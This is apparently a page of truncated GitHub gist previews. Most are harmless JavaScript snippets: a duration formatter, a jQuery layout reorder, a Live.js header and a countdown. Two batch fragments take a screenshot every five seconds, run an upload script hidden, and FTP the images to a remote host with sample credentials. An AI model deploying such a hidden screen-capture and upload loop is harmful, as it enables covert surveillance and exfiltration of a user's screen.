This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function formatDuration (seconds) { | |
var ans = [], last, sec = seconds, min = 0, hrs = 0, dys = 0, yrs = 0; | |
if(sec === 0) { return "now"; } | |
while (sec >= 60 * 60 * 24 * 365) { yrs++; sec -= 60 * 60 * 24 * 365; } | |
while (sec >= 60 * 60 * 24) { dys++; sec -= 60 * 60 * 24; } | |
while (sec >= 60 * 60) { hrs++; sec -= 60 * 60; } | |
while (sec >= 60) { min++; sec -= 60; } | |
if(yrs >= 1) {ans.push( yrs > 1 ? yrs + " years" : "1 year" );} | |
if(dys >= 1) {ans.push( dys > 1 ? dys + " days" : "1 day" );} | |
if(hrs >= 1) {ans.push( hrs > 1 ? hrs + " hours" : "1 hour" );} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(window).resize(changeorder); | |
$(document).ready(changeorder); | |
function changeorder(){ | |
//inner page reordering | |
if ($(".page-left-column").css("float") == "none" ){ | |
$( "#information-widget" ).appendTo( ".page-right-column" ); | |
} | |
if ($(".page-left-column").css("float") == "left" ){ | |
$( "#information-widget" ).prependTo( "#information-widget-container" ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Live.js - One script closer to Designing in the Browser | |
Written for Handcraft.com by Martin Kool (@mrtnkl). | |
Version 4. | |
Recent change: Made stylesheet and mimetype checks case insensitive. | |
http://livejs.com | |
http://livejs.com/license (MIT) | |
@livejs |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function beginCountdown (mins) { | |
var secs = mins * 60 | |
var now = new Date() | |
var elapsed | |
var countdown = setInterval(function(){ | |
elapsed = new Date() - now | |
if (elapsed/1000 < secs) { | |
updateProgress(elapsed/1000, secs) | |
} else { | |
updateProgress(1, 1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set delay=5000 | |
:loop | |
for /f "tokens=2 delims==" %%I in ('wmic os get localdatetime /format:list') do set datetime=%%I | |
set datetime=%datetime:~0,8%-%datetime:~8,6% | |
nircmd.exe savescreenshot "%datetime%.png" | |
nircmd.exe exec hide upload.bat "%datetime%.png" | |
ping 1.0.0.0 -n 1 -w %delay% >nul | |
goto loop |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set FTP_hostname=12.34.56.78 | |
set FTP_username=1337h4x0r | |
set FTP_password=rosebud | |
set FTP_remote_dir=screenshots | |
echo user %FTP_username%> ftpcmd.dat | |
echo %FTP_password%>> ftpcmd.dat | |
if defined FTP_remote_dir ( | |
echo cd %FTP_remote_dir%>> ftpcmd.dat | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set delay=5000 | |
:loop | |
:: Get locale-independent date to use as filename | |
for /f "tokens=2 delims==" %%I in ('wmic os get localdatetime /format:list') do set datetime=%%I | |
:: Format the date | |
set datetime=%datetime:~0,8%-%datetime:~8,6% | |
:: Save a screenshot | |
nircmd.exe savescreenshot "%datetime%.png" | |
:: Upload the screenshot | |
nircmd.exe exec hide upload.bat "%datetime%.png" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
:: [ v Config starts v ] | |
set FTP_hostname=12.34.56.78 | |
:: Your FTP username (cannot be blank) | |
set FTP_username=1337h4x0r | |
:: Your FTP password (cannot be blank) | |
set FTP_password=rosebud | |
:: Remote folder to upload to (optional) | |
set FTP_remote_dir=screenshots | |
:: [ ^ Config ends ^ ] |
OlderNewer